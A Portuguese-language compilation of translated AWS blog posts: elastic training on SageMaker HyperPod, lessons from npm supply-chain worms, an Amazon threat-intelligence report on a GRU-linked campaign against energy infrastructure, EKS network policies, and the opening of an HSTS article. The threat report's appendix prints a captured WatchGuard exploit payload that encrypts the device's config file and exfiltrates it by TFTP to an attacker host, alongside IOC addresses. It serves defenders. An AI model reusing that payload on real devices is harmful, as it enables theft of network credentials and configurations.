        state_dict=state_dict,
        storage_writer=dcp.FileSystemWriter(checkpoint_path)
    )

def load_checkpoint(model, optimizer, lr_scheduler, checkpoint_path):
    """Load checkpoint using DCP with automatic resharding."""
    state_dict = {
        "model": model,
        "optimizer": optimizer,
        "lr_scheduler": lr_scheduler
    }
    dcp.load(
        state_dict=state_dict,
        storage_reader=dcp.FileSystemReader(checkpoint_path)
    )
    return model, optimizer, lr_scheduler

Para cenários de treinamento de época única onde cada amostra deve ser vista exatamente uma vez, é necessário persistir estado do dataloader através de eventos de dimensionamento. Sem isso, quando seu trabalho retoma com world size diferente, amostras processadas previamente podem ser repetidas ou puladas, afetando qualidade de treinamento.

Submeter trabalho de treinamento elástico

Com container de treinamento construído e código instrumentado, você está pronto submeter trabalho de treinamento elástico. Especificação de trabalho define como sua carga de trabalho dimensiona respondendo à disponibilidade de recursos de cluster através da configuração elasticPolicy.

Crie especificação HyperPodPyTorchJob definindo seu comportamento de dimensionamento elástico:

apiVersion: sagemaker.amazonaws.com/v1
kind: HyperPodPyTorchJob
metadata:
  name: elastic-training-job
spec:
  elasticPolicy:
    minReplicas: 2
    maxReplicas: 8
    replicaIncrementStep: 2
    gracefulShutdownTimeoutInSeconds: 600
    scalingTimeoutInSeconds: 60
    faultyScaleDownTimeoutInSeconds: 30
  replicaSpecs:
    - name: worker
      replicas: 2
      maxReplicas: 8
      template:
        spec:
          containers:
            - name: pytorch
              image: 
              command: ["hyperpodrun"]
              args:
                - "--nnodes=2"
                - "--nproc-per-node=8"
                - "--rdzv-backend=hyperpod"
                - "train.py"
              resources:
                requests:
                  nvidia.com/gpu: 8
                  vpc.amazonaws.com/efa: 32
                limits:
                  nvidia.com/gpu: 8
                  vpc.amazonaws.com/efa: 32

Configuração elasticPolicy controla como seu trabalho de treinamento responde a mudanças de recurso:

• minReplicas e maxReplicas: Definem limites de dimensionamento. Seu trabalho manterá sempre pelo menos minReplicas e nunca excederá maxReplicas, mantendo uso de recurso previsível.
• replicaIncrementStep vs. replicaDiscreteValues: Escolha uma abordagem para granularidade de dimensionamento. Use replicaIncrementStep para dimensionamento uniforme. Use replicaDiscreteValues: [2, 4, 8] para especificar configurações exatas permitidas.
• gracefulShutdownTimeoutInSeconds: Oferece tempo para processo de treinamento completar checkpoint antes de forçado encerramento. Configure baseado em tamanho de checkpoint e desempenho de armazenamento.
• scalingTimeoutInSeconds: Introduz atraso de estabilização antes de scale-up prevenindo flutuações quando recursos oscilam rapidamente.
• faultyScaleDownTimeoutInSeconds: Quando pods falham ou travam, operador aguarda essa duração para recuperação antes de dimensionar. Previne scale-downs desnecessários por falhas transitórias.

Treinamento elástico incorpora mecanismos anti-thrashing para manter estabilidade em ambientes com disponibilidade de recurso flutuando rapidamente. Essas proteções incluem períodos mínimos de estabilidade reforçados entre eventos de dimensionamento e estratégia exponencial de backoff para transições frequentes.

Submeta o trabalho usando kubectl ou SageMaker HyperPod CLI:

kubectl apply -f elastic-job.yaml

Usar receitas SageMaker HyperPod

A AWS criou SageMaker HyperPod recipes para treinamento elástico de modelos foundation publicamente disponíveis, incluindo Llama e GPT-OSS. Essas receitas fornecem configurações pré-validadas tratando estratégia de paralelização, ajustes de hiperparâmetro e gerenciamento de checkpoint automaticamente, requerendo apenas mudanças de configuração YAML sem modificações de código.

Times simplesmente especificam limites mínimos e máximos de nó em sua especificação de trabalho, e sistema gerencia toda coordenação de dimensionamento conforme recursos de cluster flutuam:

python launcher.py \
  recipes=llama/llama3_1_8b_sft \
  recipes.elastic_policy.is_elastic=true \
  recipes.elastic_policy.min_nodes=2 \
  recipes.elastic_policy.max_nodes=8

Receitas também suportam configurações específicas por escala através do campo scale_config, permitindo definir diferentes hiperparâmetros (tamanho de lote, taxa de aprendizado) para cada world size. Veja SageMaker HyperPod Recipes repository para exemplos detalhados.

Resultados de desempenho

Para demonstrar impacto de treinamento elástico, ajuste fino de modelo Llama-3 70B foi realizado no dataset TAT-QA usando cluster SageMaker HyperPod com até 8 instâncias ml.p5.48xlarge. Esse benchmark ilustra como treinamento elástico executa na prática quando dimensionando dinamicamente respondendo à disponibilidade de recursos, simulando ambiente realista onde treinamento e cargas de inferência compartilham capacidade de cluster.

Avaliação cobriu duas dimensões chave: throughput de treinamento e convergência de modelo durante transições de dimensionamento. Melhoria consistente em throughput em diferentes configurações de dimensionamento de 1 a 8 nós foi observada. Desempenho de treinamento melhorou de 2.000 tokens/segundo em 1 nó para até 14.000 tokens/segundo em 8 nós.

Durante toda execução de treinamento, loss continuou diminuindo conforme treinamento de modelo continuou convergindo:

Integração com capacidades do SageMaker HyperPod

Além suas capacidades essenciais de dimensionamento, treinamento elástico aproveita integração com capacidades de infraestrutura do SageMaker HyperPod. Task governance policies automaticamente disparam eventos de dimensionamento quando prioridades de carga de trabalho mudam, habilitando treinamento ceder recursos a cargas prioritárias de inferência ou avaliação. Suporte para SageMaker Training Plans permite treinamento dimensionar oportunisticamente usando tipos de capacidade otimizados por custos mantendo resiliência através de scale-down automático quando instâncias spot são reclamadas. A observability add-on do SageMaker HyperPod complementa essas capacidades fornecendo insights detalhados em eventos de dimensionamento, desempenho de checkpoint e progressão de treinamento, ajudando times monitorar e otimizar suas deployments de treinamento elástico.

Conclusão

Treinamento elástico no SageMaker HyperPod endereça problema de recursos desperdiçados em clusters de IA. Trabalhos de treinamento agora dimensionam automaticamente conforme recursos ficam disponíveis sem requerer ajustes manuais de infraestrutura. Arquitetura técnica de treinamento elástico mantém qualidade de treinamento através de transições de dimensionamento. Preservando tamanho global de lote e taxa de aprendizado através de diferentes configurações paralelas de dados, sistema mantém propriedades de convergência consistentes independentemente de escala atual.

Três benefícios primários são esperados: primeiro, perspectiva operacional, redução de ciclos de reconfiguração manual fundamentalmente muda como times de aprendizado de máquina trabalham. Engenheiros podem focar em inovação e desenvolvimento de modelos em vez de gerenciamento de infraestrutura, melhorando significativamente produtividade de time e reduzindo overhead operacional. Segundo, eficiência de infraestrutura vê melhorias dramáticas conforme cargas de trabalho de treinamento dinamicamente consomem capacidade disponível, levando a reduções substanciais em horas GPU ociosas e correspondentes economias de custo. Terceiro, time-to-market acelera consideravelmente conforme trabalhos de treinamento automaticamente dimensionam utilizando recursos disponíveis, habilitando desenvolvimento e deployment de modelo mais rápido.

Para começar, consulte a documentation guide. Implementações de amostra e receitas estão disponíveis no e GitHub repository.

Fonte

Adaptive infrastructure for foundation model training with elastic training on SageMaker HyperPod (https://aws.amazon.com/blogs/machine-learning/adaptive-infrastructure-for-foundation-model-training-with-elastic-training-on-sagemaker-hyperpod/)

Entendendo os ataques à cadeia de suprimentos de software

A segurança de cadeias de suprimentos de software é uma prioridade crítica para organizações de todos os tamanhos. Nos últimos meses de 2025, a indústria de segurança testemunhou campanhas coordenadas de ameaças visando repositórios de terceiros, evidenciando vulnerabilidades em como confiamos e consumimos dependências de código aberto. A resposta da AWS a esses eventos revela práticas valiosas de detecção, resposta e aprendizado contínuo.

Entre agosto e dezembro de 2025, a AWS identificou e respondeu a diversas campanhas significativas. A importância dessas respostas reside não apenas na proteção imediata, mas na absorção de conhecimento que alimenta melhorias nos mecanismos de detecção e nas plataformas de segurança disponibilizadas aos clientes. Um dos eventos mais notáveis envolveu mais de 150.000 pacotes maliciosos detectados pelo Amazon Inspector em uma única campanha.

O incidente Nx e a exploração de ferramentas de IA generativa

Detecção e resposta rápida

Em finais de agosto de 2025, padrões anormais em execuções de prompts de IA generativa em softwares de terceiros acionaram escalações imediatas nos times de resposta a incidentes da AWS. Dentro de 30 minutos, um comando de incidente de segurança foi estabelecido, coordenando investigadores em todo o globo.

A investigação revelou a presença de um arquivo JavaScript denominado “telemetry.js” em um popular pacote npm chamado Nx. Este arquivo foi comprometido e projetado para explorar ferramentas de linha de comando de IA generativa. Os atacantes buscavam roubar arquivos de configuração sensíveis através do GitHub, mas falharam em gerar tokens de acesso válidos, impedindo exfiltração de dados.

Metodologia de resposta e melhorias implementadas

A resposta seguiu um processo estruturado e metódico:

• Realização de uma avaliação abrangente de impacto em serviços e infraestrutura AWS, mapeando o escopo do incidente;
• Implementação de bloqueios em nível de repositório para pacotes npm comprometidos;
• Investigação profunda para identificar recursos potencialmente afetados e vetores de ataque alternativos;
• Investigação, análise e remediação de hosts afetados;
• Incorporação dos aprendizados em Amazon Q, incluindo novas barreiras de segurança em prompts de sistema para rejeitar tentativas de coleta de credenciais, correções para evitar extração de prompts de sistema, e endurecimento adicional em modos de execução de alto privilégio.

Esses aprendizados foram fundamentais para detectar e responder efetivamente a campanhas subsequentes. A AWS refinou como monitora anomalias comportamentais e correlaciona múltiplas fontes de inteligência de ameaças, criando uma base mais robusta de detecção.

Os worms Shai-Hulud e outras campanhas de comprometimento

Propagação em cascata através de pacotes confiáveis

Apenas três semanas após o incidente Nx, em início de setembro de 2025, duas novas campanhas npm emergiram. A primeira direcionou 18 pacotes populares como Chalk e Debug. A segunda, apelidada “Shai-Hulud”, alvo 180 pacotes em sua primeira onda, com uma segunda onda ocorrendo em finais de novembro de 2025.

O worm Shai-Hulud buscava especificamente tokens npm, tokens de acesso pessoal do GitHub e credenciais de nuvem. Quando tokens npm eram obtidos, o worm ampliava seu alcance publicando pacotes infectados como atualizações em repositórios que esses tokens possuíam acesso no registro npm. Cada vez que novos usuários baixavam esses pacotes comprometidos, scripts de pós-instalação executavam o worm, propagando continuamente a infecção.

Além disso, o malware tentava manipular repositórios GitHub para implantar workflows maliciosos, mantendo sua presença em ambientes já infectados.

Resposta coordenada da comunidade de segurança

A resposta da AWS iniciou dentro de 7 minutos após a publicação dos pacotes afetados. As ações incluíram:

• Registro dos pacotes afetados junto à Fundação de Segurança de Código Aberto (OpenSSF), permitindo resposta coordenada entre a comunidade de segurança;
• Monitoramento contínuo para detectar comportamentos anômalos, com notificações imediatas aos clientes afetados via Painel de Saúde Pessoal AWS, casos de suporte e emails diretos aos contatos de segurança;
• Análise dos pacotes npm comprometidos para entender completamente as capacidades do worm, incluindo desenvolvimento de scripts de detonação customizados utilizando IA generativa, executados em ambientes sandbox controlados;
• Análise de código JavaScript ofuscado com auxílio de IA para expandir indicadores conhecidos e pacotes afetados.

Esse trabalho revelou os métodos utilizados pelo malware para direcionamento de tokens GitHub, credenciais AWS, credenciais Google Cloud, tokens npm e variáveis de ambiente. Melhorando como anomalias consistentes com roubo de credenciais são detectadas, analisando padrões no repositório npm e correlacionando contra múltiplas fontes de inteligência, a AWS construiu compreensão mais profunda dessas campanhas coordenadas.

Saiba mais sobre como os sistemas de detecção do Amazon Inspector identificaram esses pacotes e como trabalham com a OpenSSF para ajudar a comunidade de segurança.

A campanha de roubo de tokens tea[.]xyz

Escala massiva de comprometimento

Entre finais de outubro e início de novembro de 2025, técnicas refinadas pelo time do Amazon Inspector detectaram um aumento em pacotes npm comprometidos. O sistema descobriu uma nova onda direcionada aos tokens Tea, utilizados para reconhecer contribuições em projetos de código aberto. O time identificou 150.000 pacotes comprometidos durante essa campanha.

A resposta foi notavelmente ágil: em cada detecção, a equipe conseguiu registrar automaticamente o pacote malicioso no registro de pacotes maliciosos da OpenSSF dentro de 30 minutos. Essa velocidade não apenas protegeu clientes utilizando Amazon Inspector, como permitiu que a comunidade mais ampla de segurança protegesse seus ambientes com base nesses dados compartilhados.

Aprendizado contínuo e adaptação

Cada detecção trouxe novas compreensões que foram incorporadas no processo de resposta a incidentes e melhorias contínuas nas detecções. O alvo único dessa campanha — tokens tea[.]xyz — forneceu um novo vetor para refinar as proteções implementadas pelos diversos times de segurança da AWS.

Novas ameaças emergentes e padrões comuns

Conforme este artigo era finalizado em dezembro de 2025, uma nova onda de atividade foi detectada, direcionando pacotes npm. Designada como “elf-“, essa onda foi projetada para roubar dados sensíveis de sistema e credenciais de autenticação. Quase 1.000 pacotes suspeitos foram identificados no registro npm ao longo de uma semana. Mecanismos de defesa automatizados identificaram rapidamente esses pacotes e reportaram à OpenSSF.

Através dessas experiências, padrões comuns emergiram: exploração de relacionamentos de confiança dentro da rede de código aberto, operação em escala massiva, coleta de credenciais e acesso não autorizado a segredos, e técnicas aprimoradas para evadir controles de segurança tradicionais.

Estratégias para proteger sua organização

Monitoramento contínuo e detecção aprimorada

Implementar monitoramento ininterrupto e detecções aprimoradas para identificar padrões incomuns é fundamental. Essa abordagem permite identificação de ameaças em estágios iniciais, antes que possam causar danos significativos. Serviços como o AWS Security Hub fornecem visão abrangente do ambiente em nuvem, achados de segurança e verificações de conformidade, permitindo que organizações respondam em escala.

Auditoria periódica e validação de cobertura

Periodicamente auditar a cobertura de ferramentas de segurança comparando resultados contra múltiplas fontes autoritativas ajuda a identificar gaps. O Amazon Inspector pode auxiliar no monitoramento contínuo da cadeia de suprimentos de software.

Proteção em camadas

Adotar abordagens multicamadas de proteção é essencial:

• Varredura automatizada de vulnerabilidades e gerenciamento (exemplo: Amazon GuardDuty e Amazon Inspector);
• Monitoramento comportamental de anomalias em pacotes (exemplo: Amazon CloudWatch e AWS CloudTrail);
• Gerenciamento de credenciais seguindo melhores práticas em IAM;
• Controles de rede para prevenir exfiltração de dados (exemplo: AWS Network Firewall).

Inventário abrangente de dependências

Manter inventário completo de todas as dependências de código aberto, incluindo dependências transitivas e localizações de implantação, permite resposta rápida quando ameaças são identificadas. Serviços como Amazon Elastic Container Registry (ECR) auxiliam com varredura automática de containers para identificar vulnerabilidades. O AWS Systems Manager pode ser configurado para atender objetivos de segurança e conformidade.

Compartilhamento de inteligência de ameaças

Reportar pacotes suspeitos a mantenedores, compartilhar inteligência de ameaças com grupos da indústria e participar em iniciativas que fortaleçam defesa coletiva amplifica o impacto da proteção. Consulte a página de Boletins de Segurança AWS para informações sobre boletins recentemente publicados.

Resposta proativa e pesquisa coordenada

Implementar pesquisa proativa, investigação abrangente e resposta coordenada, combinando ferramentas de segurança, especialistas técnicos e procedimentos de resposta praticados, fortalece significativamente a postura defensiva. O AWS Security Incident Response oferece esse tipo de abordagem estruturada.

Conclusão: a evolução contínua de ameaças e defesas

Ataques à cadeia de suprimentos continuam evoluindo em sofisticação e escala. Os exemplos descritos neste artigo demonstram essa progressão. As lições extraídas desses eventos reforçam a importância crítica de implementar controles de segurança em camadas, manter monitoramento contínuo e participar em esforços colaborativos de defesa.

À medida que essas ameaças continuam evoluindo, a AWS continua fornecendo proteção contínua aos clientes através de abordagem de segurança abrangente. O compromisso com aprendizado contínuo busca melhorar práticas internas, auxiliar clientes e fortalecer a comunidade global de segurança.

Fonte

What AWS Security learned from responding to recent npm supply chain threat campaigns (https://aws.amazon.com/blogs/security/what-aws-security-learned-from-responding-to-recent-npm-supply-chain-threat-campaigns/)

Uma Evolução Preocupante nas Táticas de Ataque

Ao finalizar 2025, a Amazon Threat Intelligence compartilhou descobertas significativas sobre uma campanha de longa duração atribuída a atores patrocinados pelo Estado russo. O que torna essa atividade particularmente relevante é uma transformação tática notável: dispositivos de borda de rede aparentemente mal configurados tornaram-se o principal vetor de acesso inicial, enquanto a exploração de vulnerabilidades declinou substancialmente.

Essa adaptação operacional mantém os mesmos resultados para o ator — coleta de credenciais e movimentação lateral dentro das infraestruturas das vítimas — mas reduz significativamente a exposição e o custo de recursos do atacante. Para as organizações que gerenciam infraestruturas críticas, isso representa um desafio particularmente relevante em 2026: proteger os dispositivos de borda de rede e monitorar ataques de repetição de credenciais tornam-se prioridades estratégicas.

Baseando-se em sobreposições de infraestrutura com operações conhecidas do Sandworm (também identificado como APT44 e Seashell Blizzard), observadas nos dados de telemetria da AWS, a Amazon Threat Intelligence avalia com alta confiança que esse cluster de atividades está associado à Diretoria Principal de Inteligência da Rússia (Glavnoe Razvedyvatel’noe Upravlenie — GRU).

Escopo e Evolução da Campanha

A campanha demonstra foco sustentado em infraestruturas críticas ocidentais, particularmente no setor de energia, com operações registradas entre 2021 e o presente.

Linha do Tempo de Evolução Tática

A análise da Amazon Threat Intelligence mapeou a progressão clara das técnicas utilizadas:

• 2021-2022: Exploração de vulnerabilidades em dispositivos WatchGuard (CVE-2022-26318) detectada pelo Amazon MadPot; direcionamento a dispositivos mal configurados iniciou-se nesse período
• 2022-2023: Exploração de vulnerabilidades em plataformas Confluence (CVE-2021-26084, CVE-2023-22518); continuação do direcionamento a dispositivos mal configurados
• 2024: Exploração de vulnerabilidades em soluções Veeam (CVE-2023-27532); prosseguimento com foco em dispositivos de borda mal configurados
• 2025: Direcionamento sustentado a dispositivos de borda de rede de clientes mal configurados; declínio notável na atividade de exploração de zero-day e N-day

Alvos Principais

O direcionamento mantém padrões consistentes e estratégicos:

• Organizações do setor de energia em nações ocidentais
• Provedores de infraestrutura crítica na América do Norte e Europa
• Organizações com infraestrutura de rede hospedada em nuvem

Recursos Comumente Comprometidos

Os atores focam em ativos específicos da infraestrutura de rede:

• Roteadores corporativos e infraestrutura de roteamento
• Concentradores VPN (Rede Privada Virtual) e gateways de acesso remoto
• Aparelhos de gerenciamento de rede
• Plataformas de colaboração e wiki
• Sistemas de gerenciamento de projetos baseados em nuvem

Ao direcionarem o “fruto maduro” de dispositivos de clientes provavelmente mal configurados com interfaces de gerenciamento expostas, os atores alcançam objetivos estratégicos idênticos: obter acesso persistente às redes de infraestrutura crítica e coletar credenciais para acessar os serviços online das organizações vítimas.

A Mudança Estratégica em Atividade do Ator

A transformação tática observada entre 2021 e 2025 revela uma estratégia sofisticada. Embora o direcionamento de dispositivos mal configurados tenha prosseguido desde pelo menos 2022, o ator manteve foco sustentado nessa atividade em 2025 enquanto reduzia investimentos em exploração de zero-day e N-day. Essa abordagem permite alcançar objetivos operacionais enquanto reduz significativamente o risco de exposição mediante atividades de exploração de vulnerabilidades mais detectáveis.

Operações de Coleta de Credenciais

Embora a Amazon Threat Intelligence não tenha observado diretamente o mecanismo de extração de credenciais das organizações vítimas, múltiplos indicadores apontam para captura de pacotes e análise de tráfego como método principal de coleta:

• Análise Temporal: O intervalo de tempo entre o comprometimento do dispositivo e tentativas de autenticação contra serviços da vítima sugere coleta passiva em vez de roubo ativo de credenciais
• Tipo de Credencial: O uso de credenciais da organização vítima (não credenciais do dispositivo) para acessar serviços online indica interceptação de tráfego de autenticação do usuário
• Tradecraft Conhecido: Operações do Sandworm consistentemente envolvem capacidades de interceptação de tráfego de rede
• Posicionamento Estratégico: O direcionamento de dispositivos de borda de rede posiciona estrategicamente o ator para interceptar credenciais em trânsito

Infraestrutura Comprometida e Operações de Repetição de Credenciais

Comprometimento de Infraestrutura Hospedada na AWS

A telemetria da AWS revelou operações coordenadas contra dispositivos de borda de rede de clientes. Importante ressaltar: isso não resultou de fraqueza na AWS, mas de dispositivos mal configurados pelos clientes. A análise de conexões de rede mostrou endereços IP controlados pelo ator estabelecendo conexões persistentes com instâncias EC2 que executavam software de aparelhos de rede de clientes. As análises revelaram conexões persistentes consistentes com acesso interativo e recuperação de dados em múltiplas instâncias afetadas.

Padrão de Repetição de Credenciais

Além do comprometimento direto de infraestrutura das vítimas, a AWS observou ataques sistemáticos de repetição de credenciais contra serviços online das organizações vítimas. Nos casos observados, o ator comprometeu dispositivos de borda de rede hospedados na AWS e subsequentemente tentou autenticação usando credenciais associadas ao domínio da organização vítima contra seus serviços online. Embora essas tentativas específicas tenham sido malsucedidas, o padrão de comprometimento de dispositivo seguido por tentativas de autenticação usando credenciais das vítimas valida a avaliação de que o ator colhe credenciais da infraestrutura de rede de clientes comprometida para repetição contra os serviços online das organizações alvo.

A infraestrutura do ator acessou endpoints de autenticação de múltiplas organizações em setores críticos através de 2025, incluindo:

• Setor de Energia: Organizações de serviços de eletricidade, provedores de energia e provedores de serviços de segurança gerenciados especializados em clientes do setor energético
• Tecnologia/Serviços em Nuvem: Plataformas de colaboração, repositórios de código-fonte
• Telecomunicações: Provedores de telecomunicações em múltiplas regiões

Geograficamente, o direcionamento demonstra alcance global: América do Norte, Europa (Ocidental e Oriental) e Oriente Médio. O padrão revela foco sustentado na cadeia de suprimentos do setor energético, incluindo tanto operadores diretos quanto provedores de terceiros com acesso a redes de infraestrutura crítica.

Fluxo da Campanha

O padrão operacional segue uma sequência clara:

1. Comprometimento de dispositivo de borda de rede de cliente hospedado na AWS
2. Aproveitamento de capacidade nativa de captura de pacotes
3. Coleta de credenciais do tráfego interceptado
4. Repetição de credenciais contra serviços online e infraestrutura das organizações vítimas
5. Estabelecimento de acesso persistente para movimentação lateral

Sobreposição de Infraestrutura com “Curly COMrades”

A Amazon Threat Intelligence identificou sobreposição de infraestrutura do ator com o grupo que a Bitdefender rastreia como “Curly COMrades”. A avaliação é de que essas atividades podem representar operações complementares dentro de uma campanha GRU mais ampla:

• Relatório da Bitdefender: Tradecraft baseado em host pós-comprometimento (abuso de Hyper-V para evasão de EDR — Detecção e Resposta do Endpoint, implants personalizados CurlyShell/CurlCat)
• Telemetria da Amazon: Vetores de acesso inicial e metodologia de pivô em nuvem

Essa potencial divisão operacional, onde um cluster se concentra em acesso à rede e comprometimento inicial enquanto outro lida com persistência baseada em host e evasão, alinha-se com padrões operacionais do GRU de subclusters especializados apoiando objetivos de campanha mais amplos.

Resposta e Disrupção da AWS

A AWS mantém comprometimento com proteção de clientes e do ecossistema de internet mais amplo através de investigação ativa e disrupção de atores de ameaça sofisticados.

Ações de Resposta Imediata

• Identificação e notificação de clientes afetados sobre recursos de aparelhos de rede comprometidos
• Habilitação de remediação imediata de instâncias EC2 comprometidas
• Compartilhamento de inteligência com parceiros da indústria e fornecedores afetados
• Relato de observações a fornecedores de aparelhos de rede para apoiar investigações de segurança

Impacto de Disrupção

Através de esforços coordenados, desde a descoberta dessa atividade, a AWS perturbou operações ativas do ator de ameaça e reduziu a superfície de ataque disponível a esse subcluster de atividade de ameaça. O trabalho continuará com a comunidade de segurança para compartilhar inteligência e defender coletivamente contra ameaças patrocinadas pelo Estado direcionadas a infraestruturas críticas.

Defendendo Sua Organização

Para 2026, as organizações devem monitorar proativamente evidências desse padrão de atividade.

Auditoria de Dispositivos de Borda de Rede

• Auditar todos os dispositivos de borda de rede para arquivos ou utilitários inesperados de captura de pacotes
• Revisar configurações de dispositivos para interfaces de gerenciamento expostas
• Implementar segmentação de rede para isolar interfaces de gerenciamento
• Aplicar autenticação forte (eliminar credenciais padrão, implementar autenticação multifator)

Detecção de Repetição de Credenciais

• Revisar logs de autenticação em busca de reutilização de credenciais entre interfaces de gerenciamento de dispositivos de rede e serviços online
• Monitorar tentativas de autenticação de localizações geográficas inesperadas
• Implementar detecção de anomalias para padrões de autenticação nos serviços online da organização
• Revisar janelas de tempo estendidas seguindo qualquer suspeita de comprometimento de dispositivo para tentativas de repetição de credenciais atrasadas

Monitoramento de Acesso

• Monitorar sessões interativas em portais de administração de roteador/aparelhos de IPs de origem inesperada
• Examinar se interfaces de gerenciamento de dispositivos de rede estão inadvertidamente expostas à internet
• Auditar uso de protocolo de texto simples (Telnet, HTTP, SNMP não criptografado) que poderia expor credenciais

Revisão de IOCs (Indicadores de Comprometimento)

Organizações do setor de energia e operadores de infraestrutura crítica devem priorizar revisão de logs de acesso para tentativas de autenticação dos IOCs listados abaixo.

Recomendações Específicas para Ambientes AWS

Para ambientes AWS, a implementação dessas medidas protetoras é recomendada:

Gerenciamento de Identidade e Acesso

• Gerenciar acesso a recursos e APIs da AWS usando federação de identidade com um provedor de identidade e funções Identidade e Gerenciamento de Acesso (IAM — Identity and Access Management) sempre que possível. Para mais informações, consulte Creating IAM policies no Guia do Usuário do IAM

Segurança de Rede

• Implementar regras menos permissivas para grupos de segurança
• Isolar interfaces de gerenciamento em subnets privadas com acesso via bastion host
• Habilitar VPC Flow Logs (Logs de Fluxo de Nuvem Privada Virtual) para análise de tráfego de rede

Gerenciamento de Vulnerabilidades

• Usar Amazon Inspector para descobrir e escanear automaticamente instâncias Amazon EC2 para vulnerabilidades de software e exposição de rede não intencional. Para mais informações, consulte o Amazon Inspector User Guide
• Regularmente patchear, atualizar e proteger o sistema operacional e aplicações em instâncias

Detecção e Monitoramento

• Habilitar AWS CloudTrail para monitoramento de atividade de API
• Configurar Amazon GuardDuty para detecção de ameaças
• Revisar logs de autenticação para padrões de repetição de credenciais

Indicadores de Comprometimento

Valor IOC	Tipo IOC	Primeiro Visto	Último Visto	Anotação
91.99.25[.]54	IPv4	2025-07-02	Presente	Servidor legítimo comprometido usado para proxy de tráfego do ator de ameaça
185.66.141[.]145	IPv4	2025-01-10	2025-08-22	Servidor legítimo comprometido usado para proxy de tráfego do ator de ameaça
51.91.101[.]177	IPv4	2024-02-01	2024-08-28	Servidor legítimo comprometido usado para proxy de tráfego do ator de ameaça
212.47.226[.]64	IPv4	2024-10-10	2024-11-06	Servidor legítimo comprometido usado para proxy de tráfego do ator de ameaça
213.152.3[.]110	IPv4	2023-05-31	2024-09-23	Servidor legítimo comprometido usado para proxy de tráfego do ator de ameaça
145.239.195[.]220	IPv4	2021-08-12	2023-05-29	Servidor legítimo comprometido usado para proxy de tráfego do ator de ameaça
103.11.190[.]99	IPv4	2021-10-21	2023-04-02	Servidor legítimo comprometido em staging usado para exfiltração de arquivos de configuração WatchGuard
217.153.191[.]190	IPv4	2023-06-10	2025-12-08	Infraestrutura de longo prazo usada para reconhecimento e direcionamento

Nota importante: Todos os IPs identificados são servidores legítimos comprometidos que podem servir múltiplos propósitos para o ator ou continuar operações legítimas. As organizações devem investigar o contexto em torno de qualquer correspondência em vez de bloquear automaticamente. Os IPs foram especificamente observados acessando interfaces de gerenciamento de roteador e tentando autenticação a serviços online durante os períodos listados.

Apêndice Técnico: Payload de Exploit CVE-2022-26318

O seguinte payload foi capturado pelo Amazon MadPot durante a campanha de exploração WatchGuard em 2022:

from cryptography.fernet import Fernet
import subprocess
import os

key = 'uVrZfUGeecCBHhFmn1Zu6ctIQTwkFiW4LGCmVcd6Yrk='

with open('/etc/wg/config.xml', 'rb') as config_file:
    buf = config_file.read()

fernet = Fernet(key)
enc_buf = fernet.encrypt(buf)

with open('/tmp/enc_config.xml', 'wb') as encrypted_config:
    encrypted_config.write(enc_buf)

subprocess.check_output(['tftp', '-p', '-l', '/tmp/enc_config.xml', '-r', '[REDACTED].bin', '103.11.190[.]99'])
os.remove('/tmp/enc_config.xml')

Esse payload demonstra a metodologia do ator: criptografar dados de configuração roubados, exfiltrar via TFTP (Trivial File Transfer Protocol) para infraestrutura de staging comprometida e remover evidências forenses.

Fonte

Amazon Threat Intelligence identifies Russian cyber threat group targeting Western critical infrastructure (https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-russian-cyber-threat-group-targeting-western-critical-infrastructure/)

Tem perguntas sobre este artigo? Entre em contato com AWS Support.

Novas camadas de proteção para Kubernetes na AWS

A AWS anunciou recursos avançados de políticas de segurança de rede para o Amazon Elastic Kubernetes Service (EKS), capacitando organizações a fortalecer sua postura de segurança em cargas Kubernetes. Essas melhorias visam tanto o tráfego entre componentes internos do cluster quanto as conexões com ambientes externos.

A expansão das capacidades de segmentação de rede consolida investimentos anteriores da AWS nessa área, oferecendo aos administradores ferramentas mais robustas para controlar e monitorar fluxos de dados em arquiteturas containerizadas cada vez mais complexas.

Isolamento centralizado de tráfego de rede

O isolamento de tráfego de rede tornou-se essencial conforme organizações ampliam seus ambientes de aplicações no EKS. A incapacidade de segmentar corretamente o tráfego aumenta os riscos de acessos não autorizados, tanto dentro quanto fora do cluster.

Para atender essa necessidade, o EKS passou a suportar Kubernetes NetworkPolicies através do Amazon VPC Container Network Interface (VPC CNI) plugin. Esse suporte permitiu que administradores segmentassem a comunicação entre pods em nível de namespace, criando uma primeira camada de proteção.

Agora, as organizações podem ir além: gerenciar centralmente filtros de rede para todo o cluster, oferecendo controle mais granular e uma visão unificada da segurança em toda a infraestrutura Kubernetes.

Políticas baseadas em nomes de domínio (FQDN)

Outro avanço significativo envolve as regras de saída — egress rules — que agora filtram o tráfego destinado a recursos externos com base em nomes de domínio totalmente qualificados (FQDN). Essa abordagem oferece aos administradores de cluster uma estratégia mais estável e previsível para bloquear acessos não autorizados a recursos na nuvem ou em ambientes locais (on-premises).

Em vez de gerenciar manualmente listas de endereços IP (que podem mudar frequentemente), administradores podem definir políticas baseadas em nomes de domínio, simplificando a manutenção e reduzindo erros de configuração.

Disponibilidade e compatibilidade

Esses recursos de segurança estão disponíveis em todas as regiões comerciais da AWS. A ClusterNetworkPolicy funciona em todos os modos de execução de clusters EKS que utilizam a versão 1.21.0 ou superior do VPC CNI.

As políticas baseadas em DNS estão disponíveis especificamente para instâncias EC2 iniciadas via EKS Auto Mode. Novos clusters com Kubernetes versão 1.29 ou posterior já têm acesso a essas capacidades, enquanto suporte para clusters existentes será implementado nas próximas semanas.

Próximos passos

Para explorar essas funcionalidades em detalhes, organizações podem consultar a documentação do Amazon EKS ou acompanhar mais informações no post técnico de lançamento.

Fonte

Amazon EKS introduces enhanced network security policies (https://aws.amazon.com/about-aws/whats-new/2025/12/amazon-eks-enhanced-network-security-policies)

O Desafio da Segurança Distribuída em Arquiteturas AWS

Aplicações web modernas construídas na AWS frequentemente combinam múltiplos serviços para oferecer soluções escaláveis e performáticas. Porém, essa arquitetura distribuída apresenta um desafio significativo: implementar uma estratégia coerente de segurança em camada de transporte entre todos esses componentes.

O principal obstáculo é que diferentes serviços AWS exigem abordagens distintas para configuração de HTTP Strict Transport Security (HSTS). Quando uma aplicação utiliza API Gateway para APIs, CloudFront para distribuição de conteúdo e Application Load Balancers para tráfego web, a ausência de políticas HSTS unificadas resulta em postura de segurança inconsistente. Ferramentas de auditoria de segurança frequentemente identificam headers HSTS faltantes, mas as orientações para remediar o problema estão dispersas em documentações específicas de cada serviço, criando lacunas de conformidade.

Entendendo HSTS e Seus Benefícios de Segurança

